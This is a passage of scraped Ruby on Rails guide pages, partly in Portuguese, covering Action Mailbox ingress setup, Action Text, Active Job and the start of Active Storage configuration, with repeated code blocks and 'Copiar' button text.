action_mailbox: ingress_password: ... Copiar

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Postfix to pipe inbound emails to bin/rails action_mailbox:ingress:postfix, providing the URL of the Postfix ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

$ bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

bin/rails action_mailbox:ingress:postfix URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=... Copiar

3.5 Postmark

Tell Action Mailbox to accept emails from Postmark:

# config/environments/production.rb
config.action_mailbox.ingress = :postmark

# config/environments/production.rb config.action_mailbox.ingress = :postmark Copiar

Generate a strong password that Action Mailbox can use to authenticate requests to the Postmark ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

action_mailbox:
ingress_password: ...

action_mailbox: ingress_password: ... Copiar

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Postmark inbound webhook to forward inbound emails to /rails/action_mailbox/postmark/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure Postmark with the following fully-qualified URL:

https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails

https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/postmark/inbound_emails Copiar

When configuring your Postmark inbound webhook, be sure to check the box labeled "Include raw email content in JSON payload". Action Mailbox needs the raw email content to work.

3.6 Qmail

Tell Action Mailbox to accept emails from an SMTP relay:

# config/environments/production.rb
config.action_mailbox.ingress = :relay

# config/environments/production.rb config.action_mailbox.ingress = :relay Copiar

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

action_mailbox:
ingress_password: ...

action_mailbox: ingress_password: ... Copiar

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Qmail to pipe inbound emails to bin/rails action_mailbox:ingress:qmail, providing the URL of the relay ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

$ bin/rails action_mailbox:ingress:qmail URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

bin/rails action_mailbox:ingress:qmail URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=... Copiar

3.7 SendGrid

Tell Action Mailbox to accept emails from SendGrid:

# config/environments/production.rb
config.action_mailbox.ingress = :sendgrid

# config/environments/production.rb config.action_mailbox.ingress = :sendgrid Copiar

Generate a strong password that Action Mailbox can use to authenticate requests to the SendGrid ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

action_mailbox:
ingress_password: ...

action_mailbox: ingress_password: ... Copiar

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure SendGrid Inbound Parse to forward inbound emails to /rails/action_mailbox/sendgrid/inbound_emails with the username actionmailbox and the password you previously generated. If your application lived at https://example.com, you would configure SendGrid with the following URL:

https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails

https://actionmailbox:PASSWORD@example.com/rails/action_mailbox/sendgrid/inbound_emails Copiar

When configuring your SendGrid Inbound Parse webhook, be sure to check the box labeled “Post the raw, full MIME message.” Action Mailbox needs the raw MIME message to work.

4 Examples

Configure basic routing:

# app/mailboxes/application_mailbox.rb
class ApplicationMailbox < ActionMailbox::Base
routing /^save@/i     => :forwards
routing /@replies\./i => :replies
end

# app/mailboxes/application_mailbox.rb class ApplicationMailbox < ActionMailbox::Base routing /^save@/i => :forwards routing /@replies\./i => :replies end Copiar

Then set up a mailbox:

# Generate new mailbox
$ bin/rails generate mailbox forwards

bin/rails generate mailbox forwards Copiar

# app/mailboxes/forwards_mailbox.rb
class ForwardsMailbox < ApplicationMailbox
# Callbacks specify prerequisites to processing
before_processing :require_projects

def process
# Record the forward on the one project, or…
if forwarder.projects.one?
record_forward
else
# …involve a second Action Mailer to ask which project to forward into.
request_forwarding_project
end
end

private
def require_projects
if forwarder.projects.none?
# Use Action Mailers to bounce incoming emails back to sender – this halts processing
bounce_with Forwards::BounceMailer.no_projects(inbound_email, forwarder: forwarder)
end
end

def record_forward
forwarder.forwards.create subject: mail.subject, content: mail.content
end

def request_forwarding_project
Forwards::RoutingMailer.choose_project(inbound_email, forwarder: forwarder).deliver_now
end

def forwarder
@forwarder ||= User.find_by(email_address: mail.from)
end
end

# app/mailboxes/forwards_mailbox.rb class ForwardsMailbox < ApplicationMailbox # Callbacks specify prerequisites to processing before_processing :require_projects def process # Record the forward on the one project, or… if forwarder.projects.one? record_forward else # …involve a second Action Mailer to ask which project to forward into. request_forwarding_project end end private def require_projects if forwarder.projects.none? # Use Action Mailers to bounce incoming emails back to sender – this halts processing bounce_with Forwards::BounceMailer.no_projects(inbound_email, forwarder: forwarder) end end def record_forward forwarder.forwards.create subject: mail.subject, content: mail.content end def request_forwarding_project Forwards::RoutingMailer.choose_project(inbound_email, forwarder: forwarder).deliver_now end def forwarder @forwarder ||= User.find_by(email_address: mail.from) end end Copiar

5 Incineration of InboundEmails

By default, an InboundEmail that has been successfully processed will be incinerated after 30 days. This ensures you're not holding on to people's data willy-nilly after they may have canceled their accounts or deleted their content. The intention is that after you've processed an email, you should have extracted all the data you needed and turned it into domain models and content on your side of the application. The InboundEmail simply stays in the system for the extra time to provide debugging and forensics options.

The actual incineration is done via the IncinerationJob that's scheduled to run after config.action_mailbox.incinerate_after time. This value is by default set to 30.days, but you can change it in your production.rb configuration. (Note that this far-future incineration scheduling relies on your job queue being able to hold jobs for that long.)

6 Working with Action Mailbox in development

It's helpful to be able to test incoming emails in development without actually sending and receiving real emails. To accomplish this, there's a conductor controller mounted at /rails/conductor/action_mailbox/inbound_emails, which gives you an index of all the InboundEmails in the system, their state of processing, and a form to create a new InboundEmail as well.

7 Testing mailboxes

Example:

class ForwardsMailboxTest < ActionMailbox::TestCase
test "directly recording a client forward for a forwarder and forwardee corresponding to one project" do
assert_difference -> { people(:david).buckets.first.recordings.count } do
receive_inbound_email_from_mail \
to: 'save@example.com',
from: people(:david).email_address,
subject: "Fwd: Status update?",
body: <<~BODY
--- Begin forwarded message ---
From: Frank Holland <frank@microsoft.com>

What's the status?
BODY
end

recording = people(:david).buckets.first.recordings.last
assert_equal people(:david), recording.creator
assert_equal "Status update?", recording.forward.subject
assert_match "What's the status?", recording.forward.content.to_s
end
end

class ForwardsMailboxTest < ActionMailbox::TestCase test "directly recording a client forward for a forwarder and forwardee corresponding to one project" do assert_difference -> { people(:david).buckets.first.recordings.count } do receive_inbound_email_from_mail \ to: 'save@example.com', from: people(:david).email_address, subject: "Fwd: Status update?", body: <<~BODY --- Begin forwarded message --- From: Frank Holland <frank@microsoft.com> What's the status? BODY end recording = people(:david).buckets.first.recordings.last assert_equal people(:david), recording.creator assert_equal "Status update?", recording.forward.subject assert_match "What's the status?", recording.forward.content.to_s end end Copiar

Action Text Overview — Ruby on Rails...

1 What is Action Text?

Action Text brings rich text content and editing to Rails. It includes the Trix editor that handles everything from formatting to links to quotes to lists to embedded images and galleries. The rich text content generated by the Trix editor is saved in its own RichText model that's associated with any existing Active Record model in the application. Any embedded images (or other attachments) are automatically stored using Active Storage and associated with the included RichText model.

2 Trix compared to other rich text editors

Most WYSIWYG editors are wrappers around HTML’s contenteditable and execCommand APIs, designed by Microsoft to support live editing of web pages in Internet Explorer 5.5, and eventually reverse-engineered and copied by other browsers.

Because these APIs were never fully specified or documented, and because WYSIWYG HTML editors are enormous in scope, each browser's implementation has its own set of bugs and quirks, and JavaScript developers are left to resolve the inconsistencies.

Trix sidesteps these inconsistencies by treating contenteditable as an I/O device: when input makes its way to the editor, Trix converts that input into an editing operation on its internal document model, then re-renders that document back into the editor. This gives Trix complete control over what happens after every keystroke, and avoids the need to use execCommand at all.

3 Installation

Run bin/rails action_text:install to add the Yarn package and copy over the necessary migration. Also, you need to set up Active Storage for embedded images and other attachments. Please refer to the Active Storage Overview guide.

After the installation is complete, a Rails app using Webpacker should have the following changes:

1. Both trix and @rails/actiontext should be required in your JavaScript pack.

// application.js
require("trix")
require("@rails/actiontext")

// application.js require("trix") require("@rails/actiontext") Copiar

2. The trix stylesheet should be imported into actiontext.scss.

@import "trix/dist/trix";

@import "trix/dist/trix"; Copiar
Additionally, this actiontext.scss file should be imported into your stylesheet pack.

// application.scss
@import "./actiontext.scss";

// application.scss @import "./actiontext.scss"; Copiar

4 Examples

Adding a rich text field to an existing model:

# app/models/message.rb
class Message < ApplicationRecord
has_rich_text :content
end

# app/models/message.rb class Message < ApplicationRecord has_rich_text :content end Copiar

Note that you don't need to add a content field to your messages table.

Then refer to this field in the form for the model:

<%# app/views/messages/_form.html.erb %>
<%= form_with model: message do |form| %>
<div class="field">
<%= form.label :content %>
<%= form.rich_text_area :content %>
</div>
<% end %>

<%# app/views/messages/_form.html.erb %> <%= form_with model: message do |form| %> <div class="field"> <%= form.label :content %> <%= form.rich_text_area :content %> </div> <% end %> Copiar

And finally, display the sanitized rich text on a page:

<%= @message.content %>

<%= @message.content %> Copiar

To accept the rich text content, all you have to do is permit the referenced attribute:

class MessagesController < ApplicationController
def create
message = Message.create! params.require(:message).permit(:title, :content)
redirect_to message
end
end

class MessagesController < ApplicationController def create message = Message.create! params.require(:message).permit(:title, :content) redirect_to message end end Copiar

5 Avoid N+1 queries

If you wish to preload the dependent ActionText::RichText model, assuming your rich text field is named content, you can use the named scope:

Message.all.with_rich_text_content # Preload the body without attachments.
Message.all.with_rich_text_content_and_embeds # Preload both body and attachments.

Message.all.with_rich_text_content # Preload the body without attachments. Message.all.with_rich_text_content_and_embeds # Preload both body and attachments. Copiar

6 Custom styling

By default, the Action Text editor and content is styled by the Trix defaults. If you want to change these defaults, you'll want to remove the app/assets/stylesheets/actiontext.scss linker and base your stylings on the contents of that file.

You can also style the HTML used for embedded images and other attachments (known as blobs). On installation, Action Text will copy over a partial to app/views/active_storage/blobs/_blob.html.erb, which you can specialize.

7 API / Backend development

1. A backend API (for example, using JSON) needs a separate endpoint for uploading files that creates an ActiveStorage::Blob and returns its attachable_sgid:

{
"attachable_sgid": "BAh7CEkiCG…"
}

{ "attachable_sgid": "BAh7CEkiCG…" } Copiar

2. Take that attachable_sgid and ask your frontend to insert it in rich text content using an <action-text-attachment> tag:

<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment>

<action-text-attachment sgid="BAh7CEkiCG…"></action-text-attachment> Copiar

This is based on Basecamp, so if you still can't find what you are looking for, check this Basecamp Doc.

Básico de Active Jobs — Ruby on Rails...

1 O que é Active Job?

O Active Job é um framework para declarar jobs e fazê-los executar em uma variedade de backends de fila. Estes jobs podem ser qualquer coisa, de limpezas programadas regularmente, a cobranças de despesas, a envio de emails. Qualquer coisa que possa ser cortada em pequenas unidades de trabalho e executadas paralelamente, sério.

2 O Propósito do Active Job

O ponto principal é garantir que todas as aplicações Rails terão uma infraestrutura de jobs no lugar. Nós podemos então ter features de frameworks e outras gems construídas em cima dela, sem ter que nos preocupar com diferenças de API entre vários executadores de job como Delayed Job e Resque. Dessa forma, escolher o seu backend de enfileiramento se torna mais uma preocupação operacional. E você poderá alternar entre eles sem ter que reescrever os seus jobs.

Rails por padrão vem com uma implementação de fila assíncrona que executa jobs com uma pool de threads no processo. Jobs serão executados da maneira assíncrona, mas quaisquer jobs na fila serão derrubados ao reinicializar.

3 Criando um Job

Esta seção fornecerá um guia passo a passo para criar um job e enfileirá-lo.

3.1 Crie o Job

O Active Job fornece um gerador Rails para criar jobs. O seguinte criará um job em app/jobs (com um teste anexado em test/jobs):

$ bin/rails generate job guests_cleanup
invoke  test_unit
create    test/jobs/guests_cleanup_job_test.rb
create  app/jobs/guests_cleanup_job.rb

bin/rails generate job guests_cleanup Copiar

Você também pode criar um job que será executado em uma fila específica:

$ bin/rails generate job guests_cleanup --queue urgent

bin/rails generate job guests_cleanup --queue urgent Copiar

Se você não quiser usar um gerador, você pode criar seu próprio arquivo dentro de app/jobs, apenas certifique-se de que herda de ApplicationJob.

Aqui está a aparência de um job:

class GuestsCleanupJob < ApplicationJob
queue_as :default

def perform(*guests)
# Do something later
end
end

class GuestsCleanupJob < ApplicationJob queue_as :default def perform(*guests) # Do something later end end Copiar

Observe que você pode definir perform com quantos argumentos quiser.

3.2 Enfileirar o Job

Enfileirar um job assim:

# Enfileirar um _job_ para ser executado assim que o sistema de enfileiramento estiver
# livre.
GuestsCleanupJob.perform_later guest

# Enfileirar um _job_ para ser executado assim que o sistema de enfileiramento estiver # livre. GuestsCleanupJob.perform_later guest Copiar

# Enfileirar um _job_ para ser executado amanhã ao meio-dia.
GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest)

# Enfileirar um _job_ para ser executado amanhã ao meio-dia. GuestsCleanupJob.set(wait_until: Date.tomorrow.noon).perform_later(guest) Copiar

# Enfileirar um _job_ para ser executado em 1 semana a partir de agora.
GuestsCleanupJob.set(wait: 1.week).perform_later(guest)

# Enfileirar um _job_ para ser executado em 1 semana a partir de agora. GuestsCleanupJob.set(wait: 1.week).perform_later(guest) Copiar

# `perform_now` e `perform_later` irão chamar `perform` por baixo dos panos, então
# você pode passar quantos argumentos forem definidos no último.
GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter')

# `perform_now` e `perform_later` irão chamar `perform` por baixo dos panos, então # você pode passar quantos argumentos forem definidos no último. GuestsCleanupJob.perform_later(guest1, guest2, filter: 'some_filter') Copiar

É isso aí!

4 Execução de Job

Para enfileirar e executar jobs em produção você precisa configurar um backend de filas, ou seja, você precisa decidir por uma lib de enfileiramento de terceiros que o Rails deve usar, o Rails em si fornece apenas um sistema de filas em processo, que só mantém os jobs em memória(RAM). Se o processo quebra ou a máquina é reiniciada, todos os jobs pendentes serão perdidos com o backend assíncrono padrão. Isso pode ser bom para aplicações menores ou jobs não críticos, mas a maioria das aplicações em produção precisará escolher um backend de persistência.

4.1 Backends

O Active Job tem adaptadores built-in para múltiplos backends de fila (Sidekiq Resque, Delayed Job e outros). Para obter uma lista atualizada dos adaptadores, consulte a documentação da API para ActiveJob::QueueAdapters.

4.2 Configurando o Backend

Você pode definir facilmente o backend de fila:

# config/application.rb
module YourApp
class Application < Rails::Application
# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq
end
end

# config/application.rb module YourApp class Application < Rails::Application # Be sure to have the adapter's gem in your Gemfile # and follow the adapter's specific installation # and deployment instructions. config.active_job.queue_adapter = :sidekiq end end Copiar

Você também pode configurar seu backend por um job base:

class GuestsCleanupJob < ApplicationJob
self.queue_adapter = :resque
# ...
end

# Agora o seu job vai usar `resque` como gerenciados de fials sobrescrevendo o
# que estava configurado em `config.active_job.queue_adapter`.

class GuestsCleanupJob < ApplicationJob self.queue_adapter = :resque # ... end # Agora o seu job vai usar `resque` como gerenciados de fials sobrescrevendo o # que estava configurado em `config.active_job.queue_adapter`. Copiar

4.3 Iniciando o Backend

Uma vez que os jobs são executados em paralelo à sua aplicação Rails, a maioria das bibliotecas de filas exigem que você inicie um serviço de enfileiramento específico (além de iniciar sua aplicação Rails) para que o processamento do job funcione. Consulte a documentação da biblioteca para obter instruções sobre como iniciar o backend da fila.

Aqui está uma lista não abrangente de documentação:

- Sidekiq

- Resque

- Sneakers

- Sucker Punch

- Queue Classic

- Delayed Job

- Que

5 Filas

A maioria dos adapters suportam múltiplas filas. Com o Active Job você pode agendar o job para executar em uma fila específica:

class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
# ...
end

class GuestsCleanupJob < ApplicationJob queue_as :low_priority # ... end Copiar

Você pode prefixar o nome da fila para todos os jobs usando config.active_job.queue_name_prefix in application.rb:

# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
end
end

# config/application.rb module YourApp class Application < Rails::Application config.active_job.queue_name_prefix = Rails.env end end Copiar

# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
# ...
end

# Agora seu job irá executar na fila production_low_priority no seu
# ambiente de produção e na staging_low_priority
# no seu ambiente de desenvolvimento

# app/jobs/guests_cleanup_job.rb class GuestsCleanupJob < ApplicationJob queue_as :low_priority # ... end # Agora seu job irá executar na fila production_low_priority no seu # ambiente de produção e na staging_low_priority # no seu ambiente de desenvolvimento Copiar

Você também pode configurar o prefixo para cada job.

class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
self.queue_name_prefix = nil
# ...
end

# Agora a fila do seu job não terá um prefixo, sobrescrevendo o que
# foi configurado em `config.active_job.queue_name_prefix`.

class GuestsCleanupJob < ApplicationJob queue_as :low_priority self.queue_name_prefix = nil # ... end # Agora a fila do seu job não terá um prefixo, sobrescrevendo o que # foi configurado em `config.active_job.queue_name_prefix`. Copiar

O prefixo delimitador padrão de nome de fila é '_'. Isso pode ser alterado configurando o config.active_job.queue_name_delimiter no application.rb:

# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
config.active_job.queue_name_delimiter = '.'
end
end

# config/application.rb module YourApp class Application < Rails::Application config.active_job.queue_name_prefix = Rails.env config.active_job.queue_name_delimiter = '.' end end Copiar

# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
# ...
end

# Agora seu job irá executar na fila production.low_priority no seu
# ambiente de produção e na staging.low_priority
# no seu ambiente de staging

# app/jobs/guests_cleanup_job.rb class GuestsCleanupJob < ApplicationJob queue_as :low_priority # ... end # Agora seu job irá executar na fila production.low_priority no seu # ambiente de produção e na staging.low_priority # no seu ambiente de staging Copiar

Se você quiser mais controle em qual fila um job será executado, você pode passar uma opção :queue ao set:

MyJob.set(queue: :another_queue).perform_later(record)

MyJob.set(queue: :another_queue).perform_later(record) Copiar

Para controlar a fila a partir do nível do job, você pode passar um bloco para queue_as. O bloco será executado no contexto do job (o que te permite acessar self.arguments), e ele deve retornar o nome da fila:

class ProcessVideoJob < ApplicationJob
queue_as do
video = self.arguments.first
if video.owner.premium?
:premium_videojobs
else
:videojobs
end
end

def perform(video)
# Processa o vídeo
end
end

class ProcessVideoJob < ApplicationJob queue_as do video = self.arguments.first if video.owner.premium? :premium_videojobs else :videojobs end end def perform(video) # Processa o vídeo end end Copiar

ProcessVideoJob.perform_later(Video.last)

ProcessVideoJob.perform_later(Video.last) Copiar

Tenha certeza de que o seu backend de fila "escuta" o nome da fila. Para alguns backends você precisará especificar as filas a serem "ouvidas".

6 Callbacks

O Active Job fornece Hooks para disparar lógica durante o ciclo de vida de um Job. Assim como em outros callbacks no Rails, você pode implementar callbacks como métodos comuns e usar um método macro de classe para registrá-los como callbacks:

class GuestsCleanupJob < ApplicationJob
queue_as :default

around_perform :around_cleanup

def perform
# Do something later
end

private
def around_cleanup
# Do something before perform
yield
# Do something after perform
end
end

class GuestsCleanupJob < ApplicationJob queue_as :default around_perform :around_cleanup def perform # Do something later end private def around_cleanup # Do something before perform yield # Do something after perform end end Copiar

Os métodos macro de classe podem também receber um bloco. Considere usar esse estilo, se o código dentro do bloco for tão pequeno que cabe numa única linha. Por exemplo, você pode enviar métricas para cada job enfileirado:

class ApplicationJob < ActiveJob::Base
before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" }
end

class ApplicationJob < ActiveJob::Base before_enqueue { |job| $statsd.increment "#{job.class.name.underscore}.enqueue" } end Copiar

6.1 Callbacks disponíveis

- before_enqueue

- around_enqueue

- after_enqueue

- before_perform

- around_perform

- after_perform

7 Action Mailer

Um dos jobs mais comuns em uma aplicação web moderna é enviar e-mails fora do ciclo de request-response, para que o usuário não tenha que esperar por ele. O Active Job está integrado com o Action Mailer, o que te permite enviar e-mails assincronamente:

# If you want to send the email now use #deliver_now
UserMailer.welcome(@user).deliver_now

# If you want to send the email through Active Job use #deliver_later
UserMailer.welcome(@user).deliver_later

# If you want to send the email now use #deliver_now UserMailer.welcome(@user).deliver_now # If you want to send the email through Active Job use #deliver_later UserMailer.welcome(@user).deliver_later Copiar

Se você usar uma fila assíncrona de uma Rake task (por exemplo, para enviar um e-mail usando .deliver_later), geralmente não irá funcionar porque a Rake irá provavelmente terminar, fazendo com que o processo interno do thread pool seja removido, antes de qualquer ou todos os e-mails serem processados. Para evitar esse problema, use o .deliver_now ou execute uma fila persistente no ambiente de desenvolvimento.

8 Internacionalização

Cada job usa o I18n.locale configurado quando o job é criado. Isso é útil se você enviar e-mails assincronamente:

I18n.locale = :eo

UserMailer.welcome(@user).deliver_later # O e-mail será localizado para Esperanto.

I18n.locale = :eo UserMailer.welcome(@user).deliver_later # O e-mail será localizado para Esperanto. Copiar

9 Tipos suportados por argumentos

O ActiveJob suporta os seguintes tipos de argumentos por padrão:

- Basic types (NilClass, String, Integer, Float, BigDecimal, TrueClass, FalseClass)

- Symbol

- Date

- Time

- DateTime

- ActiveSupport::TimeWithZone

- ActiveSupport::Duration

- Hash (Keys should be of String or Symbol type)

- ActiveSupport::HashWithIndifferentAccess

- Array

- Module

- Class

9.1 GlobalID

O Active Job suporta o GlobalID como parâmetros. Isso possibilita passar objetos ativos do Active Record para o job ao invés do par classe/id, que você deve desserializar manualmente. Anteriormente, os jobs eram feitos dessa forma:

class TrashableCleanupJob < ApplicationJob
def perform(trashable_class, trashable_id, depth)
trashable = trashable_class.constantize.find(trashable_id)
trashable.cleanup(depth)
end
end

class TrashableCleanupJob < ApplicationJob def perform(trashable_class, trashable_id, depth) trashable = trashable_class.constantize.find(trashable_id) trashable.cleanup(depth) end end Copiar

Agora são feitos dessa forma:

class TrashableCleanupJob < ApplicationJob
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

class TrashableCleanupJob < ApplicationJob def perform(trashable, depth) trashable.cleanup(depth) end end Copiar

Isso funciona com qualquer classe que está mesclada em GlobalID::Identification que, por padrão, já está mesclada dentro das classes Active Record.

9.2 Serializers

Você pode ampliar a lista de tipos de argumentos suportados. Só é preciso definir seu próprio serializer:

class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
# Checa se um argumento pode ser serializado a partir desse serializer.
def serialize?(argument)
argument.is_a? Money
end

# Converte um objeto em um representante mais simples usando tipos de objetos suportados.
# O representante recomendado é uma Hash com uma key específica. As Keys podem ser somente de tipos básicos.
# Você deve invocar o `super` para adicionar o serializer customizado na hash.
def serialize(money)
super(
"amount" => money.amount,
"currency" => money.currency
)
end

# Converte o valor serializado em um objeto apropriado.
def deserialize(hash)
Money.new(hash["amount"], hash["currency"])
end
end

class MoneySerializer < ActiveJob::Serializers::ObjectSerializer # Checa se um argumento pode ser serializado a partir desse serializer. def serialize?(argument) argument.is_a? Money end # Converte um objeto em um representante mais simples usando tipos de objetos suportados. # O representante recomendado é uma Hash com uma key específica. As Keys podem ser somente de tipos básicos. # Você deve invocar o `super` para adicionar o serializer customizado na hash. def serialize(money) super( "amount" => money.amount, "currency" => money.currency ) end # Converte o valor serializado em um objeto apropriado. def deserialize(hash) Money.new(hash["amount"], hash["currency"]) end end Copiar

e adicionar o serializer na lista:

Rails.application.config.active_job.custom_serializers << MoneySerializer

Rails.application.config.active_job.custom_serializers << MoneySerializer Copiar

10 Exceções

Os Active Jobs fornecem uma maneira de capturar exceções criadas durante a execução do job.

class GuestsCleanupJob < ApplicationJob
queue_as :default

rescue_from(ActiveRecord::RecordNotFound) do |exception|
# Do something with the exception
end

def perform
# Do something later
end
end

class GuestsCleanupJob < ApplicationJob queue_as :default rescue_from(ActiveRecord::RecordNotFound) do |exception| # Do something with the exception end def perform # Do something later end end Copiar

Se a exceção não for tratada dentro do job, então o job é reconhecido como "failed (falhado)"

10.1 Reexecução ou Descarte de jobs falhos

Um job que falhou não será executado novamente, exceto se configurado para fazer isso.

É possível também reexecutar ou descartar um job se uma exceção for gerada durante a execução. Por exemplo:

class RemoteServiceJob < ApplicationJob
retry_on CustomAppException # defaults to 3s wait, 5 attempts

discard_on ActiveJob::DeserializationError

def perform(*args)
# Might raise CustomAppException or ActiveJob::DeserializationError
end
end

class RemoteServiceJob < ApplicationJob retry_on CustomAppException # defaults to 3s wait, 5 attempts discard_on ActiveJob::DeserializationError def perform(*args) # Might raise CustomAppException or ActiveJob::DeserializationError end end Copiar

Para mais detalhes Veja a Documentação da API para ActiveJob::Exceções.

10.2 Desserialização

GlobalID permite serializar todos os objetos do Active Record passado para o #perform.

Se um registro for deletado após o job ser enfileirado mas antes do método #perform ser chamado, o Active Job vai lançar a exceção ActiveJob::DeserializationError.

11 Testando os Jobs

Você pode encontrar instruções mais detalhadas sobre como testar seus jobs no guia de teste.

Active Storage Overview — Ruby on...

1 O que é Active Storage?

O Active Storage facilita o upload de arquivos para um serviço de armazenamento como Amazon S3, Google Cloud Storage, ou Microsoft Azure Storage e anexa esses arquivos para objetos Active Record. Ele vem com um serviço local baseado em disco para desenvolvimento e teste e oferece suporte a espelhamento de arquivos em serviços destinados para backups e migrations.

Usando Active Storage, uma aplicação pode transformar uploads de imagens com ImageMagick, gerar representações de imagens de uploads que não são imagens como PDFs e vídeos, e extrai metadados de arquivos arbitrários.

2 Configuração

O Active Storage usa duas tabelas no banco de dados da sua aplicação chamadas active_storage_blobs e active_storage_attachments. Depois de criar uma nova aplicação (ou atualizar sua aplicação para Rails 5.2), execute bin/rails active_storage:install para gerar uma migration que cria essas tabelas. Use bin/rails db:migrate para executar a migration.

active_storage_attachments é uma tabela de junção (join table) polimórfica que armazena o nome da classe do seu model. Se o nome da classe do seu model mudar, você precisará executar uma migration nesta tabela para atualizar o record_type implícito para o novo nome da classe do seu model.

Se você estiver usando UUIDs em vez de inteiros como a chave primária em seus models, você precisará alterar o tipo de coluna de record_id da tabelaactive_storage_attachments na migração.

Declare os serviços do Active Storage em config/storage.yml. Para cada serviço que sua aplicação usa, forneça um nome e a configuração necessária. O exemplo abaixo declara três serviços chamados local, test e amazon:

local:
service: Disk
root: <%= Rails.root.join("storage") %>

test:
service: Disk
root: <%= Rails.root.join("tmp/storage") %>

amazon:
service: S3
access_key_id: ""
secret_access_key: ""
bucket: ""
region: "" # e.g. 'us-east-1'

local: service: Disk root: <%= Rails.root.join("storage") %> test: service: Disk root: <%= Rails.root.join("tmp/storage") %> amazon: service: S3 access_key_id: "" secret_access_key: "" bucket: "" region: "" # e.g. 'us-east-1' Copiar

Tell Active Storage which service to use by setting Rails.application.config.active_storage.service. Because each environment will likely use a different service, it is recommended to do this on a per-environment basis. To use the disk service from the previous example in the development environment, you would add the following to config/environments/development.rb:

# Store files locally.
config.active_storage.service = :local

# Store files locally. config.active_storage.service = :local Copiar

Para usar o serviço S3 em produção, você adiciona o seguinte ao config/environments/production.rb:

# Store files on Amazon S3.
config.active_storage.service = :amazon

# Store files on Amazon S3. config.active_storage.service = :amazon Copiar

Para usar o serviço test durante o teste, você adiciona o seguinte ao config/environments/test.rb:

# Store uploaded files on the local file system in a temporary directory.
config.active_storage.service = :test

# Store uploaded files on the local file system in a temporary directory. config.active_storage.service = :test Copiar

Continue lendo para obter mais informações sobre os adaptadores de serviço integrados (por exemplo, Disk e S3) e configurações que ele exigem.

Os arquivos de configuração específicos do ambiente terão precedência: em produção, por exemplo, o arquivo config/storage/production.yml (se existente) terá precedência sobre o arquivo config/storage.yml.

2.1 Serviço Disk

Declare um serviço Disk em config/storage.yml:

local:
service: Disk
root: <%= Rails.root.join("storage") %>

local: service: Disk root: <%= Rails.root.join("storage") %> Copiar

2.2 Serviço S3 (Amazon S3 e APIs compatíveis com S3)

Para conectar ao Amazon S3, declare um serviço S3 em config/storage.yml:

amazon:
service: S3
access_key_id: ""
secret_access_key: ""
region: ""
bucket: ""

amazon: service: S3 access_key_id: "" secret_access_key: "" region: "" bucket: "" Copiar

Opcionalmente, você pode fornecer opções de cliente e upload:

amazon:
service: S3
access_key_id: ""
secret_access_key: ""
region: ""
bucket: ""
http_open_timeout: 0
http_read_timeout: 0
retry_limit: 0
upload:
server_side_encryption: "" # 'aws:kms' or 'AES256'

amazon: service: S3 access_key_id: "" secret_access_key: "" region: "" bucket: "" http_open_timeout: 0 http_read_timeout: 0 retry_limit: 0 upload: server_side_encryption: "" # 'aws:kms' or 'AES256' Copiar

Defina tempos limites de HTTP timeout e limites de nova tentativa para sua aplicação. Em certos cenários de falha, a configuração do cliente AWS padrão pode fazer com que as conexões sejam retidas por vários minutos e levar à enfileiramento de requisições.

Adicione a gem aws-sdk-s3 no seu Gemfile:

gem "aws-sdk-s3", require: false

gem "aws-sdk-s3", require: false Copiar

Os principais recursos do Active Storage requerem as seguintes permissões: s3:ListBucket, s3:PutObject, s3:GetObject, e s3:DeleteObject. Se você tiver opções de upload adicionais configuradas como configurações de ACLs, então permissões adicionais podem ser necessárias.

Se você quiser usar variáveis de ambiente, arquivos de configuração padrão do SDK, perfis, perfis de instância do IAM ou funções de tarefa, você pode omitir as chaves access_key_id, secret_access_key, e region no exemplo acima. O serviço S3 suporta todas as opções de autenticação descritas na documentação AWS SDK.

Para se conectar a uma API de armazenamento de objetos compatíveis com S3, como DigitalOcean Spaces, forneça o endpoint:

digitalocean:
service: S3
endpoint: https://nyc3.digitaloceanspaces.com
access_key_id: ...
secret_access_key: ...
# ...and other options

digitalocean: service: S3 endpoint: https://nyc3.digitaloceanspaces.com access_key_id: ... secret_access_key: ... # ...and other options Copiar

2.3 Serviço Armazenamento da Microsoft Azure

Declare um serviço Azure Storage em config/storage.yml:

azure:
service: AzureStorage
storage_account_name: ""
